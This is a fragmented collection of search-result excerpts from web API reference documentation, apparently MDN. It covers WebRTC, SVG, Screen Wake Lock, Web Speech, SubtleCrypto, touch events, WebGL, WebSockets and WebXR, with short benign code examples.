mmunication clients to be connected to a public-switched telephone network (pstn) or other legacy telephone service, including extant voice over ip (voip) services. for that reason, dtmf can't be used between two webrtc-based devices, because there is no mechanism provided by webrtc for receiving dtmf codes. <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden...
...nt listener to the oneventname property of this interface. ...
... of this interface. ...
...handler to indicate that a tone has either started or stopped playing. also available using the ontonechange event handler property. ...
RTCIceCandidate.relatedAddress - Web APIs
s. relatedaddress can also be used by quality-of-service (qos) mechanisms. here's an sdp attribute line (a-line) describing an ice candidate discovered by the stun server: a=candidate:4234997325 1 udp 2043278322 192.168.0.56 6502 typ srflx raddr 192.168.2.77 rport 32768 generation 0 the remote address, relatedaddress, is the dotted quad (for ipv4) or colon-delineated 64-bit address (for ipv6) i
mmediately following the text "raddr", or "192.168.2.77". example in this example, the candidate's type is checked, and then debugging output is presented, based on the candidate type, including the candidate's ip and relatedaddress. switch(candidate.type) { case "host": console.log("host candidate's ip address is " + candidate.ip); break; case "srflx": console.log("server reflexi...
... ...
... ...
... ...
RTCIceCandidate.relatedPort - Web APIs
may in fact be omitted for security reasons, but if present can be a useful tool during debugging. see the example, which shows a bit of this. here's an sdp attribute line (a-line) describing an ice candidate discovered by the stun server: a=candidate:4234997325 1 udp 2043278322 192.168.0.56 6502 typ srflx raddr 192.168.2.77 rport 32768 generation 0 the remote port, relatedport, is the number i
mmediately following the "rport" label on the a-line, or 32768. example in this example, the candidate's type is checked, and then debugging output is presented, based on the candidate type, including the candidate's type, address (ip and port), and related address (relatedaddress and relatedport). var ip = candidate.ip; var port = candidate.port; var relip = candidate.relatedaddress; var relport...
... ...
... ...
... ...
RTCIceTransport.onselectedcandidatepairchange - Web APIs
selectedcandidatepairchange event, which is fired when the ice agent selects a new candidate pair to be used for the connection. syntax rtcicetransport.onselectedcandidatepairchange = candidatepairhandler; value this propoerty should be set to reference an event handler function to be called by the ice agent when it discovers a new candidate pair that the rtcicetransport will be using for co
mmunication with the remote peer. this event will occur at least once, and may occur more than once if the ice agent continues to identify candidate pairs that will work better, more closely match the requested parameters, and so forth. the event handler can determine the current state by calling the transport's getselectedcandidatepair() method, which returns a rtcicecandidatepair whose rtcicecand...
... ...
... ...
... ...
RTCPeerConnection.createDataChannel() - Web APIs
) { channel.send('hi you!'); } channel.onmessage = function(event) { console.log(event.data); } // answerer side var pc = new rtcpeerconnection(options); pc.ondatachannel = function(event) { var channel = event.channel; channel.onopen = function(event) { channel.send('hi back!'); } channel.onmessage = function(event) { console.log(event.data); } } alternatively, more sy
mmetrical out-of-band negotiation can be used, using an agreed-upon id (0 here): // both sides var pc = new rtcpeerconnection(options); var channel = pc.createdatachannel("chat", {negotiated: true, id: 0}); channel.onopen = function(event) { channel.send('hi!'); } channel.onmessage = function(event) { console.log(event.data); } for a more thorough example showing how the connection and channe...
... ...
... ...
... ...
RTCPeerConnection - Web APIs
etails about the signaling process.event handlersalso inherits event handlers from: eventtargetonaddstream the rtcpeerconnection.onaddstream event handler is a property containing the code to execute when the addstream event, of type mediastreamevent, is received by this rtcpeerconnection. such an event is sent when a mediastream is added to this connection by the remote peer. the event is sent i
mmediately after the call setremotedescription() and doesn't wait for the result of the sdp negotiation.onconnectionstatechangethe rtcpeerconnection.onconnectionstatechange property specifies an eventhandler which is called to handle the connectionstatechange event when it occurs on an instance of rtcpeerconnection. this happens whenever the aggregate state of the connection changes.ondatachannel t...
...d sets the current configuration of the rtcpeerconnection based on the values included in the specified rtcconfiguration object. this lets you change the ice servers used by the connection and which transport policies to use.setidentityprovider() the rtcpeerconnection.setidentityprovider() method sets the identity provider (idp) to the triplet given in parameter: its name, the protocol used to co
mmunicate with it (optional) and an optional username. the idp will be used only when an assertion is needed.setlocaldescription()the rtcpeerconnection method setlocaldescription() changes the local description associated with the connection. this description specifies the properties of the local end of the connection, including the media format.setremotedescription()the rtcpeerconnection method set...
..., from a single ip and port on one peer to a single ip and port on the other peer, using the same transport protocol. constant description "balanced" the ice agent initially creates one rtcdtlstransport for each type of content added: audio, video, and data channels. if the remote endpoint is not bundle-aware, then each of these dtls transports then handles all the co
mmunication for one type of data. "max-compat" the ice agent initially creates one rtcdtlstransport per media track and a separate one for data channels. if the remote endpoint is not bundle-aware, everything is negotiated on these separate dtls transports. "max-bundle" the ice agent initially creates only a single rtcdtlstransport to carry all of the rtcpeerconnection's data...
...ed" the connection is closed. note: this value moved into the rtcpeerconnectionstate enum in the may 13, 2016 draft of the specification, as it reflects the state of the rtcpeerconnection, not the signaling connection. you now detect a closed connection by checking for connectionstate to be "closed" instead. specifications specification status co
mment webrtc 1.0: real-time co
mmunication between browsersthe definition of 'rtcpeerconnection' in that specification. candidate reco
mmendation initial definition. ...
RTCRtpTransceiver.stop() - Web APIs
heck the value of currentdirection. if it's stopped, the transceiver has been stopped. this method does nothing if the transceiver is already stopped. syntax rtcrtptransceiver.stop() paramters none. return value undefined exceptions invalidstateerror the rtcpeerconnection of which the transceiver is a member is closed. usage notes when you call stop() on a transceiver, the sender i
mmediately stops sending media and each of its rtp streams are closed using the rtcp "bye" message. the receiver then stops receiving media; the receiver's track is stopped, and the transceiver's direction is changed to stopped, and renegotiation is triggered by sending a negotiationneeded event to the rtcpeerconnection. the negotiation process causes currentnegotiation to be set to stopped, finall...
...otiationneeded event to the rtcpeerconnection. ...
...ection. the negotiation process causes currentnegotiation to be set to stopped, finally indicating that the transceiver has been fully stopped. ...
...sceiver has been fully stopped. ...
SVGGraphicsElement - Web APIs
nsform read only an svganimatedtransformlist reflecting the computed value of the transform property and its corresponding transform attribute of the given element. methods this interface also inherits methods from its parent, svgelement. svggraphicselement.getbbox() returns a domrect representing the computed bounding box of the current element. ...
... this interface also inherits methods from its parent, svgelement. svggraphicselement.getbbox() returns a domrect representing the computed bounding box of the current element. svggraphicselement.getctm() returns a do
mmatrix representing the matrix that transforms the current element's coordinate system to its svg viewport's coordinate system. svggraphicselement.getscreenctm() returns a do
mmatrix representing the matrix that transforms the current element's coordinate system to the coordinate system of the svg viewport for the svg document fragment. ...
... do
mmatrix representing the matrix that transforms the current element's coordinate system to its svg viewport's coordinate system. svggraphicselement.getscreenctm() returns a do
mmatrix representing the matrix that transforms the current element's coordinate system to the coordinate system of the svg viewport for the svg document fragment. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'svggraphicselement' in that specification. ...
.... svggraphicselement.getscreenctm() returns a do
mmatrix representing the matrix that transforms the current element's coordinate system to the coordinate system of the svg viewport for the svg document fragment. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'svggraphicselement' in that specification. ...
SVGUnitTypes - Web APIs
the svgunittypes interface defines a co
mmonly used set of constants used for reflecting gradientunits, patterncontentunits and other similar attributes. <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgunittypes" target="_top"><rect x="1" y="1" width="120" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="61" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgunittypes</text></a></svg></div>...
...ng value to this type. svg_unit_type_userspaceonuse 1 corresponds to the value userspaceonuse. svg_unit_type_objectboundingbox 2 corresponds to the value objectboundingbox. properties this interface doesn't implement any specific properties. ...
...vg_unit_type_objectboundingbox 2 corresponds to the value objectboundingbox. properties this interface doesn't implement any specific properties. methods this interface doesn't implement any specific methods. ...
... properties. methods this interface doesn't implement any specific methods. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'svgunittypes' in that specification. ...
Screen Wake Lock API - Web APIs
it allows for a simple platform based solution which up until now could only be achieved via workarounds which were potentially power hungry. only visible (active) documents can acquire the screen wake lock. ...
...hen an application needs to keep running. concepts and usage most devices by default turn off their screen after a specified amount of time to prolong the life of the hardware. modern devices do this to save on battery power. whilst this is a useful feature, some applications need the screen to stay awake to be their most useful. the screen wake lock api prevents the screen from turning off, di
mming or locking. it allows for a simple platform based solution which up until now could only be achieved via workarounds which were potentially power hungry. only visible (active) documents can acquire the screen wake lock. there are plenty of use cases for keeping a screen on, including reading an ebook, map navigation, following a recipe, presenting to an audience, scanning a qr/barcode or appl...
...l object to control release later and also to reacquire the lock if need be. the screen wake lock api should be used to keep the screen on to benefit usability. it's a good idea to show some feedback on the interface to show if wake lock is active and a way for the user to disable it if they wish. screen wake lock api interfaces wakelock the wakelock interface prevents device screens from di
mming or locking when an application needs to keep running. wakelocksentinel provides a handle to the underlying platform wake lock and if referenced can be manually released and reacquired. get an instance of the object by calling wakelock.request. navigator.wakelock returns a wakelock object instance, from which all other functionality can be accessed. examples feature detection this code ...
...ed when document becomes inactive. therefore make sure to re-acquire screen wake lock if necessary when document becomes active (listen for visibilitychange event). feature policy integration access to screen wake lock api is controlled by feature policy directive screen-wake-lock. refer to using feature policy for reference how to use it. specifications specification status co
mment screen wake lock api unknown initial definition. ...
SpeechRecognition.abort() - Web APIs
the abort() method of the web speech api stops the speech recognition service from listening to incoming audio, and doesn't attempt to return a speechrecognitionresult. syntax myspeechrecognition.abort(); returns void. parameters none. ...
... the abort() method of the web speech api stops the speech recognition service from listening to incoming audio, and doesn't attempt to return a speechrecognitionresult. syntax myspeechrecognition.abort(); returns void. parameters none. ...
...n | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgra
mmarlist(); speechrecognitionlist.addfromstring(gra
mmar, 1); recognition.gra
mmars = speechrecognitionlist; var diagnostic = document.queryselector('.output'); var bg = document.queryselector('html'); document.body.onclick = function() { recognition.start(); console.log('ready to receive a color co
mmand.'); } abortbtn.onclick = function() { recognition.abort(); console.log('speech recognit...
... draft ...
SpeechRecognition.stop() - Web APIs
the stop() method of the web speech api stops the speech recognition service from listening to incoming audio, and attempts to return a speechrecognitionresult using the audio captured so far. syntax myspeechrecognition.stop(); returns void. parameters none. ...
... the stop() method of the web speech api stops the speech recognition service from listening to incoming audio, and attempts to return a speechrecognitionresult using the audio captured so far. syntax myspeechrecognition.stop(); returns void. parameters none. ...
...n | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgra
mmarlist(); speechrecognitionlist.addfromstring(gra
mmar, 1); recognition.gra
mmars = speechrecognitionlist; var diagnostic = document.queryselector('.output'); var bg = document.queryselector('html'); document.body.onclick = function() { recognition.start(); console.log('ready to receive a color co
mmand.'); } abortbtn.onclick = function() { recognition.abort(); console.log('speech recognit...
... draft ...
SubtleCrypto.generateKey() - Web APIs
syntax const result = crypto.subtle.generatekey(algorithm, extractable, keyusages); parameters algorithm is a dictionary object defining the type of key to generate and providing extra algorithm-specific parameters. for rsassa-pkcs1-v1_5, rsa-pss, or rsa-oaep: pass an rsahashedkeygenparams object. for ecdsa or ecdh: pass an eckeygenparams object. for hmac: pass an hmackeygenparams object. for aes-ctr, aes-cbc, aes-gcm, or aes-kw: pass an aeskeygenparams object. ...
... messages. sign: the key may be used to sign messages. verify: the key may be used to verify signatures. derivekey: the key may be used in deriving a new key. derivebits: the key may be used in deriving bits. wrapkey: the key may be used to wrap a key. unwrapkey: the key may be used to unwrap a key. return value result is a promise that fulfills with a cryptokey (for sy
mmetric algorithms) or a cryptokeypair (for public-key algorithms). exceptions the promise is rejected when the following exception is encountered: syntaxerror raised when the result is a cryptokey of type secret or private but keyusages is empty. syntaxerror raised when the result is a cryptokeypair and its privatekey.usages attribute is empty. examples note: you can try the working ex...
... ...
...] ); aes key generation this code generates an aes-gcm encryption key. see the complete code on github. let key = window.crypto.subtle.generatekey( { name: "aes-gcm", length: 256 }, true, ["encrypt", "decrypt"] ); specifications specification status co
mment web cryptography apithe definition of 'subtlecrypto.generatekey()' in that specification. reco
mmendation initial definition. ...
Touch events - Web APIs
ed, the touchcancel event is sent, and we call the handlecancel() function below. function handlecancel(evt) { evt.preventdefault(); console.log("touchcancel."); var touches = evt.changedtouches; for (var i = 0; i < touches.length; i++) { var idx = ongoingtouchindexbyid(touches[i].identifier); ongoingtouches.splice(idx, 1); // remove it; we're done } } since the idea is to i
mmediately abort the touch, we simply remove it from the ongoing touch list without drawing a final line segment. convenience functions this example uses two convenience functions that should be looked at briefly to help make the rest of the code more clear. selecting a color for each touch to make each touch's drawing look different, the colorfortouch() function is used to pick a color based on...
...d('log'); p.innerhtml = msg + "\n" + p.innerhtml; } if your browser supports it, you can see it live. jsfiddle example additional tips this section provides additional tips on how to handle touch events in your web application. handling clicks since calling preventdefault() on a touchstart or the first touchmove event of a series prevents the corresponding mouse events from firing, it's co
mmon to call preventdefault() on touchmove rather than touchstart. that way, mouse events can still fire and things like links will continue to work. alternatively, some frameworks have taken to refiring touch events as mouse events for this same purpose. (this example is oversimplified and may result in strange behavior. it is only intended as a guide.) function ontouch(evt) { evt.preventdefault...
...nchzoom on a page is to call preventdefault() on the second touch in a series. this behavior is not well defined in the touch events spec and results in different behavior for different browsers (i.e., ios will prevent zooming but still allow panning with both fingers; android will allow zooming but not panning; opera and firefox currently prevent all panning and zooming.) currently, it's not reco
mmended to depend on any particular behavior in this case, but rather to depend on meta viewport to prevent zooming. specifications specification status co
mment touch events – level 2the definition of 'touch' in that specification. draft added radiusx, radiusy, rotationangle, force properties touch eventsthe definition of 'touch' in that specification. r...
...ed to depend on any particular behavior in this case, but rather to depend on meta viewport to prevent zooming. specifications specification status co
mment touch events – level 2the definition of 'touch' in that specification. draft added radiusx, radiusy, rotationangle, force properties touch eventsthe definition of 'touch' in that specification. reco
mmendation initial definition. ...
ValidityState.stepMismatch - Web APIs
nt's step attribute. if the field is numeric in nature, including the date, month, week, time, datetime-local, number and range types and the step value is not any, if the value don't doesn't conform to the constraints set by the step and min values, then stepmismatch will be true. ...
...form control's value less the min value, divided by the step value (which defaults to 1 if o
mmitted) is not zero, there is a mismatch. given the following: <input type="number" min="20" max="40" step="2"/> if (value - min) / 2 != 0, stepmismatch will be true. if true, the element matches the :invalid and :out-of-range css pseudo-classes. specifications specification status co
mment html living standardthe definition of 'validitystate.stepmismatch' in that specification. living standard html 5.1the definition of 'validitystate.stepmismatch' in that specification. ...
...min) / 2 != 0, stepmismatch will be true. if true, the element matches the :invalid and :out-of-range css pseudo-classes. specifications specification status co
mment html living standardthe definition of 'validitystate.stepmismatch' in that specification. ...
... pseudo-classes. specifications specification status co
mment html living standardthe definition of 'validitystate.stepmismatch' in that specification. living standard html 5.1the definition of 'validitystate.stepmismatch' in that specification. ...
WebGL2RenderingContext - Web APIs
age3d() specifies a three-dimensional sub-rectangle for a texture image in a compressed format. programs and shaders webgl2renderingcontext.getfragdatalocation() returns the binding of color numbers to user-defined varying out variables. uniforms and attributes webgl2renderingcontext.uniform[1234][uif][v]() methods specifying values of uniform variables. webgl2renderingcontext.unifor
mmatrix[234]x[234]fv() methods specifying matrix values for uniform variables. webgl2renderingcontext.vertexattribi4[u]i[v]() methods specifying integer values for generic vertex attributes. webgl2renderingcontext.vertexattribipointer() specifies integer data formats and locations of vertex attributes in a vertex attributes array. drawing buffers webgl2renderingcontext.vertexattribdivisor(...
...sampler to a texture unit. webgl2renderingcontext.issampler() returns true if a given object is a valid webglsampler object. webgl2renderingcontext.samplerparameter[if]() sets sampler parameters. webgl2renderingcontext.getsamplerparameter() returns sampler parameter information. ...
... webgl2renderingcontext.getsyncparameter() returns parameter information of a webglsync object. transform feedback webgl2renderingcontext.createtransformfeedback() creates and initializes webgltransformfeedback objects. ...
...eatevertexarray() creates a new webglvertexarrayobject. webgl2renderingcontext.deletevertexarray() deletes a given webglvertexarrayobject. webgl2renderingcontext.isvertexarray() returns true if a given object is a valid webglvertexarrayobject. webgl2renderingcontext.bindvertexarray() binds a given webglvertexarrayobject to the buffer. specifications specification status co
mment webgl 2.0the definition of 'webgl2renderingcontext' in that specification. editor's draft initial definition. ...
WebGLRenderingContext.getError() - Web APIs
the webglrenderingcontext.geterror() method of the webgl api returns error information. syntax glenum gl.geterror(); parameters none. return value constant description gl.no_error no error has been recorded. the value of this constant is 0. gl.invalid_enum an unacceptable value has been specified for an enumerated argument. the co
mmand is ignored and the error flag is set. gl.invalid_value a numeric argument is out of range. the co
mmand is ignored and the error flag is set. gl.invalid_operation the specified co
mmand is not allowed for the current state. the co
mmand is ignored and the error flag is set. gl.invalid_framebuffer_operation the currently bound framebuffer is not framebuffer complete when trying to ...
...ignored and the error flag is set. gl.invalid_operation the specified co
mmand is not allowed for the current state. the co
mmand is ignored and the error flag is set. gl.invalid_framebuffer_operation the currently bound framebuffer is not framebuffer complete when trying to render to or to read from it. gl.out_of_memory not enough memory is left to execute the co
mmand. gl.context_lost_webgl if the webgl context is lost, this error is returned on the first call to geterror. afterwards and until the context has been restored, it returns gl.no_error. ...
... opengl es 2.0the definition of 'glgeterror' in that specification. ...
...ebgl context is lost, this error is returned on the first call to geterror. afterwards and until the context has been restored, it returns gl.no_error. examples gl.geterror(); // gl.no_error (0) gl.enable(gl.foobar); gl.geterror(); // gl.invalid_enum; specifications specification status co
mment webgl 1.0the definition of 'geterror' in that specification. reco
mmendation initial definition. opengl es 2.0the definition of 'glgeterror' in that specification. standard man page of the opengl api. ...
Lifetime of a WebRTC session - Web APIs
in this article, we'll look at the lifetime of a webrtc session, from establishing the connection all the way through closing the connection when it's no longer needed. this article doesn't get into details of the actual apis involved in establishing and handling a webrtc connection; it simply reviews the process in general with some information about why each step is required. see signaling and video calling for an actual example with a step-by-step explanation of what the code does. ...
... mail a package to your friend michelle by labeling it “michelle” and dropping it in a mailbox when you don't know her address. you need to look up her address and include it on the package, or she'll wind up wondering why you forgot her birthday again. this is where signaling comes in. signaling signaling is the process of sending control information between two devices to determine the co
mmunication protocols, channels, media codecs and formats, and method of data transfer, as well as any required routing information. the most important thing to know about the signaling process for webrtc: it is not defined in the specification. why, you may wonder, is something fundamental to the process of establishing a webrtc connection left out of the specification? the answer is simple: since...
...o another device, entered into that device, and a response then output by that device to be returned on foot, and so forth, until the webrtc peer connection is open. it'd be very high latency but it could be done. information exchanged during signaling there are three basic types of information that need to be exchanged during signaling: control messages used to set up, open, and close the co
mmunication channel, and to handle errors. information needed in order to set up the connection: the ip addressing and port information needed for the peers to be able to talk to one another. media capability negotiation: what codecs and media data formats can the peers understand? these need to be agreed upon before the webrtc session can begin. only once signaling has been successfully complet...
...d to be agreed upon before the webrtc session can begin. only once signaling has been successfully completed can the true process of opening the webrtc peer connection begin. it's worth noting that the signaling server does not actually need to understand or do anything with the data being exchanged through it by the two peers during signaling. the signaling server is, in essence, a relay: a co
mmon point which both sides connect to knowing that their signaling data can be transferred through it. the server doesn't need to react to this information in any way. the signaling process there's a sequence of things that have to happen in order to make it possible to begin a webrtc session: each peer creates an rtcpeerconnection object representing their end of the webrtc session. each pee...
A simple RTCDataChannel sample - Web APIs
in this example, we will open an rtcdatachannel connection linking two elements on the same page. while that's obviously a contrived scenario, it's useful for demonstrating the flow of connecting two peers. ...
...ection's remote description is set to refer to the remote peer by calling localconnection's rtcpeerconnection.setremotedescription(). the catch() calls a routine that handles any errors that occur. note: once again, this process is not a real-world implementation; in normal usage, there's two chunks of code running on two machines, interacting and negotiating the connection. a side channel, co
mmonly called a “signalling server,” is usually used to exchange the description (which is in application/sdp form) between the two peers. handling successful peer connection as each side of the peer-to-peer connection is successfully linked up, the corresponding rtcpeerconnection's icecandidate event is fired. these handlers can do whatever's needed, but in this example, all we need to do is...
...button.disabled = true; connectbutton.disabled = false; disconnectbutton.disabled = true; } } } if the channel's state has changed to "open", that indicates that we have finished establishing the link between the two peers. the user interface is updated correspondingly by enabling the text input box for the message to send, focusing the input box so that the user can i
mmediately begin to type, enabling the "send" and "disconnect" buttons, now that they're usable, and disabling the "connect" button, since it is not needed when the conneciton is open. if the state has changed to "closed", the opposite set of actions occurs: the input box and "send" button are disabled, the "connect" button is enabled so that the user can open a new connection if they wish to do so...
....value; sendchannel.send(message); messageinputbox.value = ""; messageinputbox.focus(); } first, the text of the message is fetched from the input box's value attribute. this is then sent to the remote peer by calling sendchannel.send(). that's all there is to it! the rest of this method is just some user experience sugar -- the input box is emptied and re-focused so the user can i
mmediately begin typing another message. receiving messages when a "message" event occurs on the remote channel, our handlereceivemessage() method is called as the event handler. function handlereceivemessage(event) { var el = document.createelement("p"); var txtnode = document.createtextnode(event.data); el.appendchild(txtnode); receivebox.appendchild(el); } this method sim...
The WebSocket API (WebSockets) - Web APIs
with this api, you can send messages to a server and receive event-driven responses without having to poll the server for a reply. note: while a websocket connection is functionally somewhat similar to standard unix-style sockets, they are not related. interfaces websocket the primary interface for connecting to a websocket server and then sending and receiving data on the connection. closeevent the event sent by the websocket object when the connection closes. ...
...k for node.js (example: websocket chat) faye: a websocket (two-ways connections) and eventsource (one-way connections) for node.js server and client. signalr: signalr will use websockets under the covers when it's available, and gracefully fallback to other techniques and technologies when it isn't, while your application code stays the same. caddy: a web server capable of proxying arbitrary co
mmands (stdin/stdout) as a websocket. ws: a popular websocket client & server library for node.js. jsonrpc-bidirectional: asynchronous rpc which, on a single connection, may have functions exported on the server and, and the same time, on the client (client may call server, server may also call client). cowboy: cowboy is a small, fast and modern http server for erlang/otp with websocket support. ...
....js. jsonrpc-bidirectional: asynchronous rpc which, on a single connection, may have functions exported on the server and, and the same time, on the client (client may call server, server may also call client). ...
...(client may call server, server may also call client). cowboy: cowboy is a small, fast and modern http server for erlang/otp with websocket support. ...
Using bounded reference spaces - Web APIs
should made sure to support bounded reference spaces as an option rather than as a required feature unless you have special knowledge of the environment in which your code will run. ...
...the options specified when requesting the session indicate that at a minimum, the session must be compatible with the local-floor reference space, but that it would be nice if the bounded-floor space were supported as well. ...
...). if neither type of space can be created, an error handler is called (handleerror()). in either case, once a reference space has been created, it's handed off to a function called onrefspacecreated(), which takes over the process of setting up the space for use. it's important, however, to keep in mind that while a local-floor space provides a floor-relative space and is always available for i
mmersive sessions, it also has significant differences from bounded-floor, so you need to be prepared to handle these differences. this is why the code snippet above records the reference space being used in the variable spacetype. the most obvious difference is that local-floor spaces don't provide boundaries, and are primarily meant to be used in situations where the user stays in one place for th...
... user's xr device doesn't have built-in support for determining floor level, the webxr layer will still create a local-floor space. however, the floor level will be simulated by choosing and emulating the floor level and shifting the view upward by a fixed amount in order to ensure that the scene's contents render in the right place. keep in mind that by default, the viewer's position is placed i
mmediately above the floor, like a camera lying on the ground. if you wish to simulate a human's perspective on the scene, you probably want to move the viewpoint upward by a distance that approximates human eye level by transforming it by providing an appropriate transform matrix to the xrreferencespace method requestoffsetreferencespace(). this would change the onrefspacecreated() method from the...
Lighting a WebXR setting - Web APIs
applied by ambient light is universally equal all through the scene. the effect of ambient light is computed by simply multiplying the intensity of the light source by the reflectance of the surface at the pixel's location. the color and intensity of every pixel in the scene is affected exactly the same way, regardless of where it is in the scene or the direction it's facing. ...
...care needs to be taken to try to match the ambient light to what would really be the effect of the scene's lighting when doing this, however. ...
...ht sources a directional light source is a light source that comes from a specific direction, but not from a specific source, so its emitted light rays are parallel to one another. in addition, the intensity of the light doesn't change over distance. this means that shadows cast by directional lights are very sharp, with an essentially instant transition between lighted and shadowed. the most co
mmon example of a directional light is the sun. while the sun is in actuality a single (large) object, it's very far away, so the rays of light coming from it are essentially parallel. while sunlight does actually fall off in intensity with distance, the rate of change is very low and is only noticed over vast distances, so the rate of intensity change of sunlight doesn't typically matter for render...
...he rate at which the brightness of a point light falls off is called attenuation, and is a configurable feature of the light source in webgl and other lighting systems. between the law of reflection and the fact that the brightness of the light rays decreases with distance, the light emitted by a point source and reflected back tends to be brightest at the closest point to the light source and di
mmer the farther away it is. even if the surface is flat, the closest point to the light source is the center, with rays becoming increasingly long as the angle away from the normal changes. photo of a spotlight shining upon a stucco wall at night. spot light sources a spot light source (or spotlight) is a light source which is located at a specific position, emitting a cone of light in t...
WebXR performance guide - Web APIs
webxr applications involve multiple technologies which can be highly sensitive to performance constraints. as such, you may find yourself needing to make adjustments or compromises to optimize the performance of your webxr application to be as usable as possible on the broadest assortment of target devices. in this guide, we'll examine a variety of suggestions and reco
mmendations that will help you make your webxr app as performant as possible. rendering tips ... talk about general stuff like limiting how many different loops there are during rendering, avoiding unnecessary drawing, etc. can probably also include stuff from https://github.com/i
mmersive-web/webxr/blob/master/explainer.md#changing-the-field-of-view-for-inline-sessions managing rendering quality ... this section will ...
...s possible. rendering tips ... talk about general stuff like limiting how many different loops there are during rendering, avoiding unnecessary drawing, etc. can probably also include stuff from https://github.com/i
mmersive-web/webxr/blob/master/explainer.md#changing-the-field-of-view-for-inline-sessions managing rendering quality ... this section will come in part from https://github.com/i
mmersive-web/webxr/blob/master/explainer.md#controlling-rendering-quality managing frame rate ... managing use of depth ... ...
...f from https://github.com/i
mmersive-web/webxr/blob/master/explainer.md#changing-the-field-of-view-for-inline-sessions managing rendering quality ... this section will come in part from https://github.com/i
mmersive-web/webxr/blob/master/explainer.md#controlling-rendering-quality managing frame rate ... managing use of depth ... ...
...w-for-inline-sessions managing rendering quality ... this section will come in part from https://github.com/i
mmersive-web/webxr/blob/master/explainer.md#controlling-rendering-quality managing frame rate ... managing use of depth ... this section will combine information from https://github.com/i
mmersive-web/webxr/blob/master/explainer.md#controlling-depth-precision and https://github.com/i
mmersive-web/webxr/blob/master/explainer.md#preventing-the-compositor-from-using-the-depth-buffer optimizing memory use when using libraries that perform things such as matrix mathematics, you typically have a number of working variables through which various vectors, matrices, and quaternions pass over time. it makes sense, then, to have a limited set of these objects, simply replacing their cont...
WebXR permissions and security - Web APIs
the webxr device api has several areas of security to contend with, from establishing feature-policy to ensuring the user intends to use the mixed reality presentation before activating it. among other things, you need to confirm access to device features such as the microphone and/or camera, get permission to use i
mmersive vr mode (if applicable), and so forth. the variety of hardware and software involved in xr brings multiple apis and technologies into play. ...
...of hardware and software involved in xr brings multiple apis and technologies into play. in this guide, we'll cover how to ensure your app has the permissions it needs to provide a secure and private xr experience. introduction the webxr device api is subject to a number of permission and security controls. while not onerous, they are worth being aware of. these mostly revolve around the fully-i
mmersive i
mmersive-vr session mode, but there are things to be aware of when setting up an ar session, as well. i
mmersive presentation of vr first, any requests to activate the i
mmersive-vr mode are rejected if the domain issuing the request does not have permission to enable an i
mmersive session. this permission comes from the xr-spatial-tracking feature policy. once that check is passed, the re...
...-vr session mode, but there are things to be aware of when setting up an ar session, as well. i
mmersive presentation of vr first, any requests to activate the i
mmersive-vr mode are rejected if the domain issuing the request does not have permission to enable an i
mmersive session. this permission comes from the xr-spatial-tracking feature policy. once that check is passed, the request to enter i
mmersive-vr mode is allowed if all of the following are true: the requestsession() call was issued by code executing within the handler for a user event, or the from the startup code for a user-launched web application. ...
...eck is passed, the request to enter i
mmersive-vr mode is allowed if all of the following are true: the requestsession() call was issued by code executing within the handler for a user event, or the from the startup code for a user-launched web application. the document is considered trustworthy, in that it is responsible and is both currently active and has focus. the user's intent to enter i
mmersive vr mode is well understood; see user intent below for details. if all of that is true, the promise returned by requestsession() is resolved, and the new xrsession object is passed into the fulfillment handler. otherwise, an appropriate exception is thrown, such as securityerror if the document doesn't have permission to enter i
mmersive mode. inline presentation when you request an xrses...
Spaces and reference spaces: Spatial tracking in WebXR - Web APIs
x: 0.5, y: 0.5, z: 0.5, w: 1.0 }); arefspace = arefspace.getoffsetreferencespace(halfmetertransform); this replaces the existing reference space arefspace with one whose coordinates and orientation have had the transform halfmetertransform applied. with no orientation data included in the transform, the orientation of arefspace is unaffected. converting between webxr session types another co
mmon reason you may need to convert positional information from one reference space to another is when it's necessary to change the session type from inline to i
mmersive-vr or back. this co
mmonly happens when your user interface provides a way to preview the scene inline within the context of a web page, with a button or other control to switch to i
mmersive mode. since most users would prefer that ...
...rs would prefer that you maintain the same viewer position and facing direction while performing this transition, you can use the xrframe method getviewerpose() to obtain the current xrviewerpose, switch the session, then use the saved viewer pose to restore the viewer's position and facing. let viewerpose = frame.getviewerpose(worldreferencespace); let newsession = navigator.xr.requestsession("i
mmersive-vr", { requiredfeatures: "unbounded" }); worldreferencespace = await newsession.requestreferencespace("unbounded"); viewerpose = worldreferencespace.getoffsetreferencespace(viewerpose.transform); here, the viewer pose is obtained, with its transform defined relative to worldreferencespace, the current session's global reference space. then a new session is established and a referenc...
...ile at the same time the value of emulatedposition changes from true to false. how you handle this depends on your application. if your app provides a way for the user to move through the virtual world without physically moving in the real world (a so-called teleportation mechanic), you can simply accept the new position and continue, allowing the jump from your previously-assumed position to be i
mmediately corrected with the new position. on the other hand, if your app involves the user physically moving in real space to move around through your virtual world, simply adopting the new tracking position and jumping there can be unsettling to the user, and should be avoided if possible. instead, use the difference between the current position and the new tracking position to compute the new t...
...le. upon recovery of tracking, a reset means tracking has been restored and the new position information represents the actual position information provided by the xr hardware, rather than cached or "best-guess" data. another reason reset may be sent is because the user has exited the bounds of a reference space and entered another reference space, or because the user has been transitioned progra
mmatically from one reference space to another. any time the bounds geometry of the user's space changes, a reset is sent. reset is only used for signficant jumps or transitions; minor things will just be absorbed automatically. the event is always sent to every affected reference space, including those created using getoffsetreferencespace(), so if you listen for reset events, you need to be sure ...
